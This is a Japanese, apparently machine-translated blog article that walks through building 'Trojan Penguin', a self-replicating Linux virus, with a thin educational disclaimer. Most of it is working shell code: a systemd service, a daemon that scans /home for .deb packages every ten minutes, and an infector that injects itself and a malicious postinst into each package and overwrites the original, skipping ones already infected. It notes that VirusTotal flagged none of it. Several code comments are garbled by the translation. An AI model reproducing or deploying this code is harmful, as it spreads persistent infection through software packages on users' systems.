トロイの木馬ペンギン:Linux用のウイルスを作成する

いいえ、ランサムウェアランサムウェア、マイナー、または新しい脆弱性を悪用する方法を説明するつもりはありません。 さらには、「LinuxはWindowsより安全ですか?(はい)」というホリバーを上げるつもりはありません。 私の目標は、Linux用の単純なウイルスを作成することでした。いわば「Just for Fun」であり、その機能はコピーを配布することだけです。 私がしたことについては、この記事で説明します。 最後に、GitHubへのリンクをソースとともに提供します。



画像



免責事項



この記事は教育目的で書かれています。 著者は、ロシア連邦の法律に違反することを読者に勧めません。 刑法の第28章を最初に読むことなく、この記事に記載されている手順を繰り返さないでください。



そして、実際に何をしますか?



ウイルスを拡散するための最も簡単な実装メカニズムは、変更されたdeb / rpmパッケージを介して拡散されるように思えました。 debおよびrpmパッケージは現在、Linuxで最も人気のある配布ツールです。 Debianベースのディストリビューションのユーザー数がRed Hatおよびその「フォロワー」のユーザーよりも多いため、debを選択しました。



また、ウイルスが自動的に起動し、一定時間ごとにコンピュータをスキャンしてdebパッケージを検索することも必要です。 デバッグを容易にするために、10分の期間を選択しました。



debパッケージとは何ですか?



debパッケージは、圧縮を使用しない.ar形式のアーカイブです。 アーカイブ内にはさらに3つのファイルがあります: debian-bynarycontrol.tarおよびdata.tar



debian.binaryは、debパッケージ形式のバージョンを含むテキストファイルであり、現時点では常に「2.0」と記述されています。



control.tar-パッケージに関する情報(たとえば、必要な制御ファイル)およびパッケージのインストールに必要なパッケージ(たとえば、パッケージのインストール/アンインストールの前後に実行されるpreinst、postinst、prerm、およびpostrmスクリプト)を含むファイルでアーカイブします。 gzipまたはxzを使用して圧縮できます。その場合、拡張子.gzまたは.xzがそれぞれアーカイブ名に追加されます。



data.tar-インストールされたファイルを含むディレクトリでアーカイブします。 ディレクトリはツリーで表され、その形式でファイルシステムのルートに抽出する必要があります。 gzip、bzip2、lzma、xzを使用して圧縮できます。



control.tarアーカイブの制御ファイルに注意を払う必要があります。 このファイルには、作成者、説明、バージョン、システム内のパッケージの優先度など、パッケージに関する情報が含まれています。依存関係(このパッケージから動作できないパッケージ)を示すdependsフィールドに興味があります 。 このフィールドでは、ウイルスはfakerootdpkgを追加します。これは、感染したコンピューター上の他のパッケージを変更するときに必要になるユーティリティです。



debパッケージをビルドするには、パッケージのルートディレクトリが作成されます。 インストールされたファイルと、インストール/アンインストール用の制御およびスクリプトを含むサービスファイルを含むDEBIANディレクトリを含むディレクトリが配置されます。 次に、 fakeroot dpkg-deb --build ./pathコマンドが実行されます。



最初に悪魔がいました



ウイルスを書いている時点で、私はまだCronが何であるかについてよくわからなかったので、 systemdのために自分のデーモンを書いていました。 trojan_penguin.serviceファイルを作成しました。このファイルは/ lib / systemd / systemディレクトリに配置され、以下を追加しました:



[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target
      
      





ExecStart = / usr / bin / trojan_penguin.sh-ここでは、システムの起動時に起動する必要のあるファイル(将来のウイルスへのパス)を示しました。



Type = fork-この行は、プロセスが親プロセスから分岐することを示します。

PIDファイルの必要性がわからなかったため、追加しませんでした。

独自のデーモンを作成するためのマニュアルでは、.serviceファイルはディレクトリ/ usr / lib / systemd / system /または/ etc / systemd / system /に配置することが提案されています。 しかし、私のubuntでディレクトリ/ lib / systemd / systemを見つけました。 (私はそこにapache2.serviceを得ました)。 おそらくコメントの誰かがこのディレクトリの目的と、それが他の2つのディレクトリとどのように異なるかを書くでしょう。


ファイル/usr/bin/trojan_penguin.sh私はこれを得ました:



 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done
      
      





/ homeセクションでdebパッケージを探しています(他にどこを探すべきですか?)。見つかったファイルへのパスはlist変数に書き込まれます。 次に、単にlineからすべての行をソートし、各ファイルに対してtp_infect.shスクリプトを実行すると、このファイルに感染します。 ウイルスを作成したとき、スクリプトは別のディレクトリにあり、便宜上、このフォルダーへのパスを書き込むデバッグ変数を作成しました。



デーモンの準備ができました。システムの起動時にデーモンを実行する方法を学習します。 このために、 ポストインストールスクリプトを作成しました。 感染したパッケージをインストールするとすぐに起動し、ウイルスがシステムで起動することを示します。 ディレクトリ「/ usr / bin /」に配置して、そこから感染パッケージにコピーしました。



 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service # 
      
      





debパッケージの変更



上で書いたように、debパッケージに含まれるアーカイブには異なるパーミッションがあります。 私は気にせず、アーカイブが.xzを使用して圧縮されている場合のみを考慮しました。 変更を担当するファイル/usr/bin/tp_infect.shは、次の内容を受け取りました。



 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp
      
      





ポストインストールの問題



すべては問題ありませんが、今は問題があります。 しかし、パッケージにすでにポストインストールが含まれている場合はどうでしょうか? オリジナルのポストインストールは、異なる言語(python、bashなど)で記述できます。おそらくバイナリですらあります。 これにより、ポストインストールを取得して追加することはできません。 この問題を次のように解決しました。



tp_infect.shスクリプトに次のものを追加しました。



 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi
      
      





そしてpostinstalでは、これは次のとおりです。



 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi
      
      





1つの問題を解決しましたが、別の問題が発生しました。 既に感染していても、ウイルスはパッケージを変更します。 修正すると、ウイルスはパッケージにpostinstal (実際には私たちのもの)があることを確認し、/ usr / bin /に移動して、元のパッケージを上書きします。 これを回避するために、このファイルを変更したかどうかに関係なく、「tp_infect.sh」にチェックを追加しました。



 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi
      
      





まとめる



ウイルスの準備ができました。 約束どおりGitHubへリンクがあります 。 このウイルスは、リポジトリから別のdebパッケージ(makedeb.shを実行)にコンパイルできます。 パッケージにウイルスを注入するには、次のコマンドを実行します。



 tp_infect.sh /  deb-/
      
      





リポジトリにpostinstスクリプトの2つのコピーがあります



DEBIAN / postinst-このコピーは、空のウイルスパッケージをインストールするときにのみ実行されます。 インストール後にウイルスが起動せず、コマンドのみでパッケージを変更するようにコメントアウトしました。



usr / bin / postinst-このコピーは、感染したパッケージに挿入されます。



まとめ



そして、この記事がなくても結論は明らかです。未検証のソースからプログラムをダウンロードして実行しないでください。



好奇心のために、分析のためにVirusDebパッケージをVirusTotalに送信しました。 執筆時点では、単一のウイルス対策ソフトウェアがそれを検出していません。 レポートへのリンクはこちらです。 アンチウイルスが注意を払うために、どのくらいの時間を経過し、このウイルスに感染する必要があるホストがいくつあるのだろうか?



All Articles